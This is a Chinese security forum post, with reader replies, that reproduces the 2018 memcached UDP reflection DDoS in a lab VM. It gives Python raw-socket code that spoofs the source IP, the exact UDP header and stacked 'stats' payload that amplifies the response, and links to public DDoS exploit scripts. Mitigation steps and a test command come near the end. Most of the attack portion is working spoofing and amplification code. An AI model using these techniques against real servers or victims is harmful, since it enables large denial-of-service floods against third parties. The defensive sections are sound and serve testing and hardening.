用户
搜索
  • TA的每日心情
    开心
    2018-3-5 14:08
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    1

    主题

    63

    帖子

    315

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2015-11-20

    i春秋签约作者

    发表于 2018-3-5 11:26:36 189925
    {:3_48:}第一次发帖,有点紧张。其实上周已经完成复现,并写出利用脚本了,周末打游戏去了。好了,开始我们的技术分析。

    一、首先我们虚拟机安装memcached ,并且修改访问方式为外网可访问,完全模拟存在漏洞的靶机。

    使用的靶机为 ubuntu 16.04 。
    apt-get install libevent libevent-deve  //安装相关依赖
    apt-get install memcached                //安装
    如果出现未知的问题,可以先apt-get update  /upgrade 更新下源。

    vim /etc/memcached.conf   // 修改配置文件

    # This parameter is one of the only security measures that memcached has, so make sure
    # it's listening on a firewalled interface.
    -l 0.0.0.0

    # Limit the number of simultaneous incoming connections. The daemon default is 1024
    # -c 1024

    -l 后面改为0.0.0.0 ,即允许外部访问。保存后 service memcached restart 重启。

    二、本机使用NC,telnet等查看memchached使用正常。

    telnet 192.168.150.133(虚拟机IP) 11211    -》 stats 回车
    stats.jpg

    出现如上图所示,则说明运行正常。PS:默认情况下,memcached允许TCP/UDP两种方式访问,telnet只是TCP访问,所以能通也是正常。但是本漏洞只能使用UDP方式进行攻击触发。

    三、打开PY,开始愉快的写脚本
    需要注意几点:
    1.攻击脚本需要伪造源IP地址,达到欺骗memcached的效果,mem会把返回包发送到你修改的源IP地址,形成反射攻击。
    2.WINDOWS由于底层原因,发出去的包不能修改源IP。所以只能用LINUX搞。

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    import socket      
    import dpkt      #dpkt是提供改封包的扩展,如果没有此包可以 pip install dpkt安装

    class SyslogSenderRawScoket:
        def __init__(self, dst, dport, src, sport = 80):
            self.dst = socket.gethostbyname(dst)
            self.dport = dport
            self.src = src
            self.sport = sport

            self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
            self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            self.sock.connect((self.dst, 1))

        def Send(self, ip_packet):
            self.sock.sendall(str(ip_packet))
        def Process(self, msg):
            u = dpkt.udp.UDP()
            u.sport = self.sport
            u.dport = self.dport
            u.data = msg
            u.ulen = len(u)

            i = dpkt.ip.IP(data = u)

            i.p = dpkt.ip.IP_PROTO_UDP
            i.src = socket.inet_aton(self.src)
            i.dst = socket.inet_aton(self.dst)
            i.len = len(i)

            self.Send(i)


    上述,构造一个可以伪造源地址,进行UDP发包的类。红字标注的需要注意:
    1.socket 只能以SOCK_RAW方式建立,才可以自己组建包体各个部分进行发包。
    2.dpkt使用抓UDP,进行修改 IP_PROTO_UDP

    下面进行伪造发送payload:
    data=b"\x00\x00\x00\x00\x00\x01\x00\x00"
    content='stats\r\nstats\r\nstats\r\nstats items\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\nstats\r\n'

    sender = SyslogSenderRawScoket(host, 11211, ip)
    sender.Process(data)


    需要注意的是,这里一个坑,payload前必须加b"\x00\x00\x00\x00\x00\x01\x00\x00"。最后查询memcached协议得知,包体前几位有固定含义,如果没有前面这段,memcached不认,不会发送返回包。

    content变量可以看出,可以一次性向memcached发送多个查询命令,memcache会将所有的返回结果反射回去。这就造成了高倍数的反射攻击。\r\n即是回车符的意思。
    下面看一下,发送一次payload,wireshark抓包的情况:

    fanshe1.jpg

    可以看出,我们上面content写了10几遍命令,memcached也向远端被攻击服务器发射回去10几个包,而且都是大的包。网传理论上可以达到5W倍的反射效率,此言非虚,content多写N个命令就会造成这种情况。

    由于说是核弹级的问题,文章我就不留POC了,看懂的老铁自然能写出来。放几个github的参考链接:
    1.https://github.com/Srar/MemcacheDos    nodejs利用脚本
    2.https://github.com/649/Memcrashed-DDoS-Exploit   py利用脚本

    四、如何防护?
    目前有几种防护方式,对于被恶意利用的memcached服务器来说:
    1.禁用UDP方式连接,方法如下:
    memcached -U 0
    2.禁用外部访问,即我们第一步0.0.0.0  修改为127.0.0.1。
    3.云服务器可以设置出入站规则防护。


    五、简单测试自己的memcached服务是否有问题?


    echo -en 'x00x00x00x00x00x01x00x00statsrn' | nc -q1 -u IP 11211
    有反应则是用问题的。

    {:4_99:}  到此结束,去改PM提的需求了~~~~~




    评分

    参与人数 1魔法币 +5 收起 理由
    super咸fish + 5 感谢表哥的分享,表哥人很好的,也很耐心!.

    查看全部评分

    发表于 2018-3-6 10:23:11
    super咸fish 发表于 2018-3-6 10:08
    这个我已经安装上了 但是 为什么用telnet 连接的时候显示

    Escape character is '^]'.

    检查下: 1.是否ping的通  2.nmap 看下端口是否开放出来了  3.换NC 试一下。
    正常情况下 是没有光标,输入stats回车就能看到返回。
    使用道具 举报 回复
    sauren 发表于 2018-3-6 10:23
    检查下: 1.是否ping的通  2.nmap 看下端口是否开放出来了  3.换NC 试一下。
    正常情况下 是没有光标,输 ...

    可以ping通;nmap 扫描端口 显示 open ;nc 192.168.11.115 11211 敲上去就没反应了,按一下回车显示一个eorror
    使用道具 举报 回复
    sauren 发表于 2018-3-6 13:08
    使用脚本的机器是Linux?  抓包的环境是宿主机还是虚拟机?宿主机你选择的网卡不对,有可能抓不到虚拟机 ...

    使用脚本的机器 是kali 2017.3  抓包也是在kali上进行的,选择的网卡是eth0,应该没问题吧?
    使用道具 举报 回复
    sauren 发表于 2018-3-6 09:53
    apt-get install libevent-dev    试试

    这个我已经安装上了 但是 为什么用telnet 连接的时候显示

    Escape character is '^]'.

    然后就全都是error。。
    前面的步骤我都做了呀,不明白为什么不行
    使用道具 举报 回复
    发表于 2018-3-6 13:08:21
    super咸fish 发表于 2018-3-6 11:24
    加了呀,我完全按照你的脚本来的,按理说不会出错的

    使用脚本的机器是Linux?  抓包的环境是宿主机还是虚拟机?宿主机你选择的网卡不对,有可能抓不到虚拟机之间的包。
    使用道具 举报 回复
    发表于 2018-3-6 11:18:26
    super咸fish 发表于 2018-3-6 11:07
    表哥,我把sender = SyslogSenderRawScoket(host, 11211, ip)里面的host,ip改成了 靶机的ip ,本机的ip 为 ...

    payload = data+content    头前面你加了那段了吗?  
    使用道具 举报 回复
    发表于 2018-3-6 09:53:24
    super咸fish 发表于 2018-3-6 09:45
    表哥,apt-get install libevent libevent-deve  //安装相关依赖 这个命令是否有误 为什么我显示 无法定位 ...

    apt-get install libevent-dev    试试
    使用道具 举报 回复
    sauren 发表于 2018-3-6 13:08
    使用脚本的机器是Linux?  抓包的环境是宿主机还是虚拟机?宿主机你选择的网卡不对,有可能抓不到虚拟机 ...

    脚本应该不用改吧?除了host 和 ip 需要之外
    使用道具 举报 回复
    发表于 2018-3-6 08:09:18
    支持表哥~
    破解的目的是为了更好的开发
    使用道具 举报 回复
    表哥,apt-get install libevent libevent-deve  //安装相关依赖 这个命令是否有误 为什么我显示 无法定位软件包,我已经更新过源了。。求解
    使用道具 举报 回复
    super咸fish 发表于 2018-3-6 10:30
    可以ping通;nmap 扫描端口 显示 open ;nc 192.168.11.115 11211 敲上去就没反应了,按一下回车显示一个 ...

    好了 谢谢 表哥
    使用道具 举报 回复
    sauren 发表于 2018-3-6 10:23
    检查下: 1.是否ping的通  2.nmap 看下端口是否开放出来了  3.换NC 试一下。
    正常情况下 是没有光标,输 ...

    好了 谢谢 表哥
    使用道具 举报 回复
    表哥,我把sender = SyslogSenderRawScoket(host, 11211, ip)里面的host,ip改成了 靶机的ip ,本机的ip 为什么我运行py脚本的时候 只能抓到一个quic包,是我脚本哪里需要改的还没改吗?
    使用道具 举报 回复
    sauren 发表于 2018-3-6 11:18
    payload = data+content    头前面你加了那段了吗?

    加了呀,我完全按照你的脚本来的,按理说不会出错的
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册